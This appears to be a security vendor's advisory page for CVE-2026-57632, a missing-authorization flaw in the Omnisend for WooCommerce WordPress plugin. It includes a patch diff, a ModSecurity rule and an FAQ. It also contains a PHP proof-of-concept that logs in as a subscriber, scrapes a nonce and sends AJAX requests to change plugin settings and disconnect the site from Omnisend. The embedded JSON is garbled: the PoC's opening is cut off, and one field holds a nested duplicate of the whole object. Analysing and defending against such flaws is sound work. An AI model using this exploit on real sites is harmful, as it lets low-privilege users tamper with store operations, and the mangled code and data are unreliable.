“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-57632: This is a missing authorization vulnerability in the Omnisend for WooCommerce plugin (versions up to 1.19.0). The vulnerability affects multiple AJAX handler functions and a script enqueuing function. It has a CVSS score of 4.3 (Medium).nnThe root cause is the absence of capability checks in three AJAX callbacks: `omnisend_update_plugin_setting`, `omnisend_disconnect_current_site`, and `omnisend_toggle_logging`. These functions are located in `/omnisend-connect/class-omnisend-ajax.php`. Each function only performed a nonce check (`check_ajax_referer`) but did not verify user capabilities. The nonce used (`omnisend-settings-script-nonce` or `omnisend_logs`) was accessible to any authenticated user, including subscribers. Additionally, the admin enqueue script function `omnisend_admin_scripts_and_styles` in `omnisend-woocommerce.php` lacked a capability check, allowing any authenticated user to trigger asset loading for the settings page.nnExploitation is straightforward. An authenticated attacker with subscriber-level access can send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to one of the unprotected AJAX hooks. For example, calling `action=omnisend_update_plugin_setting` with `setting_name` and `setting_value` parameters allows unauthorized modification of plugin settings. The attacker must also include the nonce, which they can obtain by inspecting the plugin’s settings page or source code. The nonce is generated with a fixed action string like `omnisend-settings-script-nonce`, making it predictable across users with the same authenticated session.nnThe patch adds capability checks using `current_user_can(‘manage_options’)` before executing any sensitive action. The patched code now returns a 403 error with ‘Unauthorized’ message if the user lacks administrator privileges. The changes are minimal: three capability checks added in `class-omnisend-ajax.php` (lines 44-47, 89-92, 108-111) and one check in `omnisend-woocommerce.php` (lines 157-159).nnIf exploited, an attacker with subscriber-level access can modify any Omnisend plugin setting, disconnect the current site from Omnisend’s service, or toggle debug logging. This could disrupt email marketing operations, cause data loss by disconnecting the integration, or leak sensitive information through enabled debug logs. The plugin version is also changed from 1.19.0 to 1.19.1 in the patch.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-57632 – Missing Authorization in Omnisend for WooCommercenn $user,n ‘pwd’ => $pass,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’n );n n curl_setopt_array($ch, array(n CURLOPT_URL => $login_url,n CURLOPT_POST => true,n CURLOPT_POSTFIELDS => http_build_query($login_data),n CURLOPT_RETURNTRANSFER => true,n CURLOPT_COOKIEFILE => ‘/tmp/cookies.txt’,n CURLOPT_COOKIEJAR => ‘/tmp/cookies.txt’,n CURLOPT_FOLLOWLOCATION => true,n CURLOPT_SSL_VERIFYPEER => false,n CURLOPT_USERAGENT => ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36’n ));n n $response = curl_exec($ch);n if (curl_getinfo($ch, CURLINFO_HTTP_CODE) != 200) {n die(“Login failed. HTTP Code: ” . curl_getinfo($ch, CURLINFO_HTTP_CODE));n }n curl_close($ch);n n // Get the settings page to extract noncen $ch = curl_init();n $settings_url = $url . ‘/wp-admin/admin.php?page=omnisend’;n curl_setopt_array($ch, array(n CURLOPT_URL => $settings_url,n CURLOPT_RETURNTRANSFER => true,n CURLOPT_COOKIEFILE => ‘/tmp/cookies.txt’,n CURLOPT_COOKIEJAR => ‘/tmp/cookies.txt’,n CURLOPT_FOLLOWLOCATION => false,n CURLOPT_SSL_VERIFYPEER => false,n CURLOPT_USERAGENT => ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36’n ));n n $response = curl_exec($ch);n preg_match(‘/wp_ajax_nonce.*?value=”([^”]+)”/’, $response, $matches);n $nonce = isset($matches[1]) ? $matches[1] : ”;n curl_close($ch);n n return $nonce;n}nn// Step 2: Exploit the missing authorization to update plugin settingsnfunction exploit_update_setting($url, $nonce) {n $ch = curl_init();n n $ajax_url = $url . ‘/wp-admin/admin-ajax.php’;n $post_data = array(n ‘action’ => ‘omnisend_update_plugin_setting’,n ‘_ajax_nonce’ => $nonce,n ‘setting_name’ => ‘omnisend_test_setting’,n ‘setting_value’ => ‘exploited_value’n );n n curl_setopt_array($ch, array(n CURLOPT_URL => $ajax_url,n CURLOPT_POST => true,n CURLOPT_POSTFIELDS => http_build_query($post_data),n CURLOPT_RETURNTRANSFER => true,n CURLOPT_COOKIEFILE => ‘/tmp/cookies.txt’,n CURLOPT_COOKIEJAR => ‘/tmp/cookies.txt’,n CURLOPT_SSL_VERIFYPEER => false,n CURLOPT_USERAGENT => ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36’n ));n n $response = curl_exec($ch);n $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);n curl_close($ch);n n echo “[+] Attempted to update plugin setting\n”;n echo “[+] HTTP Response Code: $http_code\n”;n echo “[+] Response: $response\n”;n n return $response;n}nn// Step 3: Also try to disconnect the site (another vulnerable endpoint)nfunction exploit_disconnect_site($url, $nonce) {n $ch = curl_init();n n $ajax_url = $url . ‘/wp-admin/admin-ajax.php’;n $post_data = array(n ‘action’ => ‘omnisend_disconnect_current_site’,n ‘_ajax_nonce’ => $noncen );n n curl_setopt_array($ch, array(n CURLOPT_URL => $ajax_url,n CURLOPT_POST => true,n CURLOPT_POSTFIELDS => http_build_query($post_data),n CURLOPT_RETURNTRANSFER => true,n CURLOPT_COOKIEFILE => ‘/tmp/cookies.txt’,n CURLOPT_COOKIEJAR => ‘/tmp/cookies.txt’,n CURLOPT_SSL_VERIFYPEER => false,n CURLOPT_USERAGENT => ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36’n ));n n $response = curl_exec($ch);n $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);n curl_close($ch);n n echo “[+] Attempted to disconnect Omnisend site\n”;n echo “[+] HTTP Response Code: $http_code\n”;n echo “[+] Response: $response\n”;n n return $response;n}nn// Main executionnecho “[+] CVE-2026-57632 Proof of Concept\n”;necho “[+] Target: $target_url\n”;necho “[+] Obtaining nonce…\n”;nn$nonce = login_and_get_nonce($target_url, $username, $password);nif (empty($nonce)) {n die(“[-] Failed to obtain nonce. Check credentials or URL.”);n}necho “[+] Nonce obtained: $nonce\n”;nnecho “[+] Exploiting vulnerability…\n”;nexploit_update_setting($target_url, $nonce);necho “\n”;nexploit_disconnect_site($target_url, $nonce);nnecho “[+] Exploitation complete.\n”;n?>n”,
“modsecurity_rule”: “{n “analysis”: “Atomic Edge analysis of CVE-2026-57632: This is a missing authorization vulnerability in the Omnisend for WooCommerce plugin (versions up to 1.19.0). The vulnerability affects multiple AJAX handler functions and a script enqueuing function. It has a CVSS score of 4.3 (Medium).\n\nThe root cause is the absence of capability checks in three AJAX callbacks: `omnisend_update_plugin_setting`, `omnisend_disconnect_current_site`, and `omnisend_toggle_logging`. These functions are located in `/omnisend-connect/class-omnisend-ajax.php`. Each function only performed a nonce check (`check_ajax_referer`) but did not verify user capabilities. The nonce used (`omnisend-settings-script-nonce` or `omnisend_logs`) was accessible to any authenticated user, including subscribers. Additionally, the admin enqueue script function `omnisend_admin_scripts_and_styles` in `omnisend-woocommerce.php` lacked a capability check, allowing any authenticated user to trigger asset loading for the settings page.\n\nExploitation is straightforward. An authenticated attacker with subscriber-level access can send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to one of the unprotected AJAX hooks. For example, calling `action=omnisend_update_plugin_setting` with `setting_name` and `setting_value` parameters allows unauthorized modification of plugin settings. The attacker must also include the nonce, which they can obtain by inspecting the plugin’s settings page or source code. The nonce is generated with a fixed action string like `omnisend-settings-script-nonce`, making it predictable across users with the same authenticated session.\n\nThe patch adds capability checks using `current_user_can(‘manage_options’)` before executing any sensitive action. The patched code now returns a 403 error with ‘Unauthorized’ message if the user lacks administrator privileges. The changes are minimal: three capability checks added in `class-omnisend-ajax.php` (lines 44-47, 89-92, 108-111) and one check in `omnisend-woocommerce.php` (lines 157-159).\n\nIf exploited, an attacker with subscriber-level access can modify any Omnisend plugin setting, disconnect the current site from Omnisend’s service, or toggle debug logging. This could disrupt email marketing operations, cause data loss by disconnecting the integration, or leak sensitive information through enabled debug logs. The plugin version is also changed from 1.19.0 to 1.19.1 in the patch.”,n “poc_php”: null,n “modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-57632\n# Blocks unauthorized AJAX actions via Omnisend plugin\nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:202657632,phase:2,deny,status:403,chain,msg:’CVE-2026-57632 Omnisend missing authorization AJAX’,severity:’CRITICAL’,tag:’CVE-2026-57632′”\n SecRule ARGS_POST:action “@rx ^omnisend_(update_plugin_setting|disconnect_current_site|toggle_logging)$” \n “chain”\n SecRule ARGS_POST:_ajax_nonce “@rx .+””n}”

CVE-2026-57632: Email Marketing for WooCommerce by Omnisend <= 1.19.0 Missing Authorization PoC, Patch Analysis & Rule
CVE-2026-57632
omnisend-connect
1.19.0
1.19.1
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/omnisend-connect/class-omnisend-ajax.php
+++ b/omnisend-connect/class-omnisend-ajax.php
@@ -41,6 +41,10 @@
function omnisend_update_plugin_setting() {
check_ajax_referer( 'omnisend-settings-script-nonce' );
+ if ( ! current_user_can( 'manage_options' ) ) {
+ wp_send_json_error( 'Unauthorized', 403 );
+ }
+
Omnisend_Logger::hook();
$setting_name = isset( $_POST['setting_name'] ) ? sanitize_text_field( wp_unslash( $_POST['setting_name'] ) ) : '';
$setting_value = isset( $_POST['setting_value'] ) ? sanitize_text_field( wp_unslash( $_POST['setting_value'] ) ) : '';
@@ -82,6 +86,10 @@
function omnisend_disconnect_current_site() {
check_ajax_referer( 'omnisend-settings-script-nonce' );
+ if ( ! current_user_can( 'manage_options' ) ) {
+ wp_send_json_error( 'Unauthorized', 403 );
+ }
+
Omnisend_Logger::hook();
$result = Omnisend_Disconnect_Service::disconnect_current_site();
@@ -97,6 +105,10 @@
function omnisend_toggle_logging() {
check_ajax_referer( 'omnisend_logs' );
+ if ( ! current_user_can( 'manage_options' ) ) {
+ wp_send_json_error( 'Unauthorized', 403 );
+ }
+
Omnisend_Logger::hook();
$enable = isset( $_POST['enable'] ) ? sanitize_text_field( wp_unslash( $_POST['enable'] ) ) : '0';
--- a/omnisend-connect/omnisend-woocommerce.php
+++ b/omnisend-connect/omnisend-woocommerce.php
@@ -3,7 +3,7 @@
* Plugin Name: Omnisend for WooCommerce
* Plugin URI: https://www.omnisend.com
* Description: 150,000+ ecommerce stores use Omnisend to sell more stuff to more people. Send newsletters & SMS and build email lists with popups.
- * Version: 1.19.0
+ * Version: 1.19.1
* Author: Omnisend
* Author URI: https://www.omnisend.com
* Developer: Omnisend
@@ -154,6 +154,10 @@
/*Include scripts and styles for settings page and get started notice*/
add_action( 'admin_enqueue_scripts', 'omnisend_admin_scripts_and_styles' );
function omnisend_admin_scripts_and_styles() {
+ if ( ! current_user_can( 'manage_options' ) ) {
+ return;
+ }
+
// Nonce verification is not required here.
// phpcs:disable WordPress.Security.NonceVerification
if ( isset( $_GET['page'] ) && $_GET['page'] === OMNISEND_SETTINGS_PAGE ) {
Frequently Asked Questions
What is CVE-2026-57632?
Vulnerability overviewCVE-2026-57632 is a missing authorization vulnerability in the Email Marketing for WooCommerce by Omnisend plugin for WordPress. It allows authenticated attackers with subscriber-level access or higher to perform unauthorized actions, such as modifying plugin settings or disconnecting the site from Omnisend.
Which versions of the Omnisend plugin are affected?
Affected versionsAll versions of the Omnisend for WooCommerce plugin up to and including version 1.19.0 are affected. The vulnerability was patched in version 1.19.1.
What is the root cause of this vulnerability?
Root causeThe root cause is the absence of capability checks in several AJAX handler functions and a script enqueuing function. The functions only performed a nonce check but did not verify that the user had administrative privileges, allowing any authenticated user to trigger sensitive actions.
How can an attacker exploit this vulnerability?
Exploitation methodAn authenticated attacker with subscriber-level access can send a POST request to /wp-admin/admin-ajax.php with the action parameter set to one of the unprotected AJAX hooks, such as omnisend_update_plugin_setting. The attacker must include a valid nonce, which can be obtained from the plugin’s settings page or source code.
What actions can an attacker perform by exploiting this vulnerability?
Potential actionsAn attacker can modify any Omnisend plugin setting, disconnect the current site from Omnisend’s service, or toggle debug logging. This could disrupt email marketing operations, cause data loss, or leak sensitive information through enabled debug logs.
What is the CVSS score and severity of CVE-2026-57632?
Severity ratingThe vulnerability has a CVSS score of 4.3, which is classified as Medium severity. This indicates that while exploitation requires authentication, the impact can be significant, including unauthorized modification of plugin settings and potential service disruption.
Who is affected by this vulnerability?
Affected usersAny WordPress site running the Omnisend for WooCommerce plugin version 1.19.0 or earlier is affected. Sites with subscriber-level users or higher are at risk, as any authenticated user can exploit the missing authorization.
How can I check if my site is vulnerable?
Checking vulnerabilityCheck the version of the Omnisend for WooCommerce plugin installed on your site. If it is version 1.19.0 or earlier, your site is vulnerable. You can verify the version in the WordPress admin dashboard under Plugins.
How do I fix or mitigate this vulnerability?
Fix and mitigationUpdate the Omnisend for WooCommerce plugin to version 1.19.1 or later, which includes the necessary capability checks. As a mitigation, ensure that only trusted users have accounts on your site and consider restricting subscriber-level access if possible.
What does the patch for CVE-2026-57632 involve?
Patch detailsThe patch adds capability checks using current_user_can(‘manage_options’) before executing sensitive actions in the AJAX handlers and the script enqueuing function. If the user lacks administrator privileges, the function returns a 403 error with an ‘Unauthorized’ message.
How does the proof of concept demonstrate the issue?
PoC demonstrationThe proof of concept logs in as a subscriber, obtains a nonce from the plugin settings page, and then sends AJAX requests to update plugin settings or disconnect the site. Successful exploitation is indicated by a 200 response and the action being performed, confirming the missing authorization.
What should I do if I suspect my site has been exploited?
Post-exploitation stepsImmediately update the plugin to the patched version, review and reset any modified plugin settings, and check for any unauthorized changes. Additionally, audit user accounts and remove any suspicious users. Enable logging to monitor for further unauthorized activity.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






